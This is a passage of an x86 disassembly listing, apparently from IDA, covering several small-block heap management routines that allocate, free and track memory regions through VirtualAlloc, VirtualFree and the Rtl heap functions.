loc_42267B:				; CODE XREF: sub_422240+325j
					; sub_422240+36Dj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_422809
		cmp	ds:dword_4EF054, 0
		jz	loc_4227F8
		mov	eax, ds:dword_4EF04C
		shl	eax, 0Fh
		mov	ecx, ds:dword_4EF054
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		call	ds:dword_4F1460	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, ds:dword_4EF04C
		shr	edx, cl
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, ds:dword_4EF054
		mov	[edx+8], ecx
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+10h]
		mov	edx, ds:dword_4EF04C
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, ds:dword_4EF054
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_422756
		mov	edx, ds:dword_4EF054
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, ds:dword_4EF054
		mov	[ecx+4], eax


loc_422756:				; CODE XREF: sub_422240+500j
		mov	edx, ds:dword_4EF054
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_4227F8
		push	8000h
		push	0
		mov	eax, ds:dword_4EF054
		mov	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4F1460	; VirtualFree
		mov	edx, ds:dword_4EF054
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, ds:dword_4EF060
		push	ecx
		call	ds:dword_4F1454	; RtlFreeHeap
		mov	edx, ds:dword_4EF058
		imul	edx, 14h
		mov	eax, ds:dword_4EF05C
		add	eax, edx
		mov	ecx, ds:dword_4EF054
		add	ecx, 14h
		sub	eax, ecx
		push	eax
		mov	edx, ds:dword_4EF054
		add	edx, 14h
		push	edx
		mov	eax, ds:dword_4EF054
		push	eax
		call	sub_41F9A0
		add	esp, 0Ch
		mov	ecx, ds:dword_4EF058
		sub	ecx, 1
		mov	ds:dword_4EF058, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, ds:dword_4EF054
		jbe	short loc_4227EC
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax


loc_4227EC:				; CODE XREF: sub_422240+5A1j
		mov	ecx, ds:dword_4EF05C
		mov	ds:dword_4EF050, ecx


loc_4227F8:				; CODE XREF: sub_422240+46Fj
					; sub_422240+520j
		mov	edx, [ebp+arg_0]
		mov	ds:dword_4EF054, edx
		mov	eax, [ebp+var_4]
		mov	ds:dword_4EF04C, eax


loc_422809:				; CODE XREF: sub_422240+462j
		mov	esp, ebp
		pop	ebp
		retn
sub_422240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422810	proc near		; CODE XREF: sub_421BE0+1Dp
					; sub_421D10+99p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	eax, ds:dword_4EF058
		imul	eax, 14h
		mov	ecx, ds:dword_4EF05C
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 17h
		and	edx, 0FFFFFFF0h
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_28]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 20h
		jge	short loc_42285C
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_24], edx
		mov	[ebp+var_34], 0FFFFFFFFh
		jmp	short loc_422871
; ---------------------------------------------------------------------------


loc_42285C:				; CODE XREF: sub_422810+36j
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		or	eax, 0FFFFFFFFh
		shr	eax, cl
		mov	[ebp+var_34], eax


loc_422871:				; CODE XREF: sub_422810+4Aj
		mov	ecx, ds:dword_4EF050
		mov	[ebp+var_18], ecx


loc_42287A:				; CODE XREF: sub_422810+94j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_4228A6
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_24]
		and	ecx, [eax]
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_34]
		and	eax, [edx+4]
		or	ecx, eax
		test	ecx, ecx
		jz	short loc_42289B
		jmp	short loc_4228A6
; ---------------------------------------------------------------------------


loc_42289B:				; CODE XREF: sub_422810+87j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_42287A
; ---------------------------------------------------------------------------


loc_4228A6:				; CODE XREF: sub_422810+70j
					; sub_422810+89j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	loc_42298D
		mov	eax, ds:dword_4EF05C
		mov	[ebp+var_18], eax


loc_4228BA:				; CODE XREF: sub_422810+D7j
		mov	ecx, [ebp+var_18]
		cmp	ecx, ds:dword_4EF050
		jnb	short loc_4228E9
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_24]
		and	eax, [edx]
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+4]
		or	eax, edx
		test	eax, eax
		jz	short loc_4228DE
		jmp	short loc_4228E9
; ---------------------------------------------------------------------------


loc_4228DE:				; CODE XREF: sub_422810+CAj
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_4228BA
; ---------------------------------------------------------------------------


loc_4228E9:				; CODE XREF: sub_422810+B3j
					; sub_422810+CCj
		mov	ecx, [ebp+var_18]
		cmp	ecx, ds:dword_4EF050
		jnz	loc_42298D


loc_4228F8:				; CODE XREF: sub_422810+104j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_422916
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+8], 0
		jz	short loc_42290B
		jmp	short loc_422916
; ---------------------------------------------------------------------------


loc_42290B:				; CODE XREF: sub_422810+F7j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_4228F8
; ---------------------------------------------------------------------------


loc_422916:				; CODE XREF: sub_422810+EEj
					; sub_422810+F9j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	short loc_422967
		mov	eax, ds:dword_4EF05C
		mov	[ebp+var_18], eax


loc_422926:				; CODE XREF: sub_422810+135j
		mov	ecx, [ebp+var_18]
		cmp	ecx, ds:dword_4EF050
		jnb	short loc_422947
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+8], 0
		jz	short loc_42293C
		jmp	short loc_422947
; ---------------------------------------------------------------------------


loc_42293C:				; CODE XREF: sub_422810+128j
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_422926
; ---------------------------------------------------------------------------


loc_422947:				; CODE XREF: sub_422810+11Fj
					; sub_422810+12Aj
		mov	ecx, [ebp+var_18]
		cmp	ecx, ds:dword_4EF050
		jnz	short loc_422967
		call	sub_422D50
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_422967
		xor	eax, eax
		jmp	loc_422D41
; ---------------------------------------------------------------------------


loc_422967:				; CODE XREF: sub_422810+10Cj
					; sub_422810+140j ...
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_422E60
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+10h]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jnz	short loc_42298D
		xor	eax, eax
		jmp	loc_422D41
; ---------------------------------------------------------------------------


loc_42298D:				; CODE XREF: sub_422810+9Cj
					; sub_422810+E2j ...
		mov	edx, [ebp+var_18]
		mov	ds:dword_4EF050, edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0FFFFFFFFh
		jz	short loc_4229D0
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_24]
		and	eax, [edx+ecx*4+44h]
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [edx+ecx*4+0C4h]
		or	eax, esi
		test	eax, eax
		jnz	short loc_422A05


loc_4229D0:				; CODE XREF: sub_422810+19Bj
		mov	[ebp+var_30], 0


loc_4229D7:				; CODE XREF: sub_422810+1F3j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [ecx+eax*4+0C4h]
		or	edx, esi
		test	edx, edx
		jnz	short loc_422A05
		mov	edx, [ebp+var_30]
		add	edx, 1
		mov	[ebp+var_30], edx
		jmp	short loc_4229D7
; ---------------------------------------------------------------------------


loc_422A05:				; CODE XREF: sub_422810+1BEj
					; sub_422810+1E8j
		mov	eax, [ebp+var_30]
		imul	eax, 204h
		mov	ecx, [ebp+var_38]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_4], edx
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_422A52
		mov	[ebp+var_20], 20h
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+eax*4+0C4h]
		mov	[ebp+var_1C], edx


loc_422A52:				; CODE XREF: sub_422810+226j
					; sub_422810+259j
		cmp	[ebp+var_1C], 0
		jl	short loc_422A6B
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		jmp	short loc_422A52
; ---------------------------------------------------------------------------


loc_422A6B:				; CODE XREF: sub_422810+246j
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+edx*8+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		sub	eax, [ebp+var_28]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 3Fh
		jle	short loc_422A9C
		mov	[ebp+var_14], 3Fh


loc_422A9C:				; CODE XREF: sub_422810+283j
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_20]
		jz	loc_422CC0
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_422B8A
		cmp	[ebp+var_20], 20h
		jge	short loc_422B1F
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_38]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_422B1D
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_422B1D:				; CODE XREF: sub_422810+2F3j
		jmp	short loc_422B8A
; ---------------------------------------------------------------------------


loc_422B1F:				; CODE XREF: sub_422810+2AEj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_422B8A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+var_18]
		mov	[edx+4], ecx


loc_422B8A:				; CODE XREF: sub_422810+2A4j
					; sub_422810:loc_422B1Dj ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		cmp	[ebp+var_8], 0
		jz	loc_422CC0
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_10]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_422CC0
		cmp	[ebp+var_14], 20h
		jge	short loc_422C5A
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_422C38
		mov	eax, 80000000h
		mov	ecx, [ebp+var_14]
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_422C38:				; CODE XREF: sub_422810+410j
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_422CC0
; ---------------------------------------------------------------------------


loc_422C5A:				; CODE XREF: sub_422810+3EEj
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_422C97
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx


loc_422C97:				; CODE XREF: sub_422810+46Aj
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax


loc_422CC0:				; CODE XREF: sub_422810+292j
					; sub_422810+39Cj ...
		cmp	[ebp+var_8], 0
		jz	short loc_422CDA
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	[edx-4], eax


loc_422CDA:				; CODE XREF: sub_422810+4B4j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax], edx
		mov	ecx, [ebp+var_28]
		add	ecx, 1
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_28]
		mov	[edx-4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		test	ecx, ecx
		jnz	short loc_422D33
		mov	eax, [ebp+var_18]
		cmp	eax, ds:dword_4EF054
		jnz	short loc_422D33
		mov	ecx, [ebp+var_30]
		cmp	ecx, ds:dword_4EF04C
		jnz	short loc_422D33
		mov	ds:dword_4EF054, 0


loc_422D33:				; CODE XREF: sub_422810+501j
					; sub_422810+50Cj ...
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_30]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		add	eax, 4


loc_422D41:				; CODE XREF: sub_422810+152j
					; sub_422810+178j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_422810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D50	proc near		; CODE XREF: sub_422810+142p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4EF058
		cmp	eax, ds:dword_4EF048
		jnz	short loc_422DAB
		mov	ecx, ds:dword_4EF048
		add	ecx, 10h
		imul	ecx, 14h
		push	ecx
		mov	edx, ds:dword_4EF05C
		push	edx
		push	0
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F1450	; RtlReAllocateHeap
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_422D93
		xor	eax, eax
		jmp	loc_422E5B
; ---------------------------------------------------------------------------


loc_422D93:				; CODE XREF: sub_422D50+3Aj
		mov	ecx, [ebp+var_4]
		mov	ds:dword_4EF05C, ecx
		mov	edx, ds:dword_4EF048
		add	edx, 10h
		mov	ds:dword_4EF048, edx


loc_422DAB:				; CODE XREF: sub_422D50+Fj
		mov	eax, ds:dword_4EF058
		imul	eax, 14h
		mov	ecx, ds:dword_4EF05C
		add	ecx, eax
		mov	[ebp+var_4], ecx
		push	41C4h
		push	8
		mov	edx, ds:dword_4EF060
		push	edx
		call	ds:dword_4F144C	; RtlAllocateHeap
		mov	ecx, [ebp+var_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_422DE5
		xor	eax, eax
		jmp	short loc_422E5B
; ---------------------------------------------------------------------------


loc_422DE5:				; CODE XREF: sub_422D50+8Fj
		push	4
		push	2000h
		push	100000h
		push	0
		call	ds:dword_4F1464	; VirtualAlloc
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_422E22
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, ds:dword_4EF060
		push	edx
		call	ds:dword_4F1454	; RtlFreeHeap
		xor	eax, eax
		jmp	short loc_422E5B
; ---------------------------------------------------------------------------


loc_422E22:				; CODE XREF: sub_422D50+B6j
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0FFFFFFFFh
		mov	eax, ds:dword_4EF058
		add	eax, 1
		mov	ds:dword_4EF058, eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, [ebp+var_4]


loc_422E5B:				; CODE XREF: sub_422D50+3Ej
					; sub_422D50+93j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_422D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E60	proc near		; CODE XREF: sub_422810+15Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], 0


loc_422E7F:				; CODE XREF: sub_422E60+36j
		cmp	[ebp+var_8], 0
		jl	short loc_422E98
		mov	ecx, [ebp+var_8]
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	short loc_422E7F
; ---------------------------------------------------------------------------


loc_422E98:				; CODE XREF: sub_422E60+23j
		mov	eax, [ebp+var_28]
		imul	eax, 204h
		mov	ecx, [ebp+var_2C]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_C], edx
		mov	[ebp+var_20], 0
		jmp	short loc_422EC0
; ---------------------------------------------------------------------------


loc_422EB7:				; CODE XREF: sub_422E60+84j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax


loc_422EC0:				; CODE XREF: sub_422E60+55j
		cmp	[ebp+var_20], 3Fh
		jge	short loc_422EE6
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_18]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		mov	[eax+4], ecx
		jmp	short loc_422EB7
; ---------------------------------------------------------------------------


loc_422EE6:				; CODE XREF: sub_422E60+64j
		mov	edx, [ebp+var_28]
		shl	edx, 0Fh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		push	4
		push	1000h
		push	8000h
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4F1464	; VirtualAlloc
		test	eax, eax
		jnz	short loc_422F19
		or	eax, 0FFFFFFFFh
		jmp	loc_42304A
; ---------------------------------------------------------------------------


loc_422F19:				; CODE XREF: sub_422E60+AFj
		mov	eax, [ebp+var_10]
		add	eax, 7000h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		jmp	short loc_422F38
; ---------------------------------------------------------------------------


loc_422F2C:				; CODE XREF: sub_422E60+13Bj
		mov	edx, [ebp+var_4]
		add	edx, 1000h
		mov	[ebp+var_4], edx


loc_422F38:				; CODE XREF: sub_422E60+CAj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		ja	short loc_422F9D
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+0FFCh], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx], 0FF0h
		mov	edx, [ebp+var_18]
		add	edx, 1000h
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_18]
		sub	ecx, 1000h
		mov	edx, [ebp+var_18]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_18]
		add	eax, 0FECh
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx], 0FF0h
		jmp	short loc_422F2C
; ---------------------------------------------------------------------------


loc_422F9D:				; CODE XREF: sub_422E60+DEj
		mov	edx, [ebp+var_C]
		add	edx, 1F8h
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	dword ptr [ecx+eax*4+44h], 0
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+edx*4+0C4h], 1
		mov	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+43h]
		mov	eax, [ebp+var_2C]
		mov	cl, [eax+43h]
		add	cl, 1
		mov	eax, [ebp+var_2C]
		mov	[eax+43h], cl
		test	edx, edx
		jnz	short loc_42302D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_42302D:				; CODE XREF: sub_422E60+1BCj
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_28]


loc_42304A:				; CODE XREF: sub_422E60+B4j
		mov	esp, ebp
		pop	ebp
		retn
sub_422E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423050	proc near		; CODE XREF: sub_421C60+50p
					; sub_421D10+81p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_8]
		add	eax, 17h
		and	al, 0F0h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 204h
		mov	ecx, [ebp+var_30]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		sub	edx, 1
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
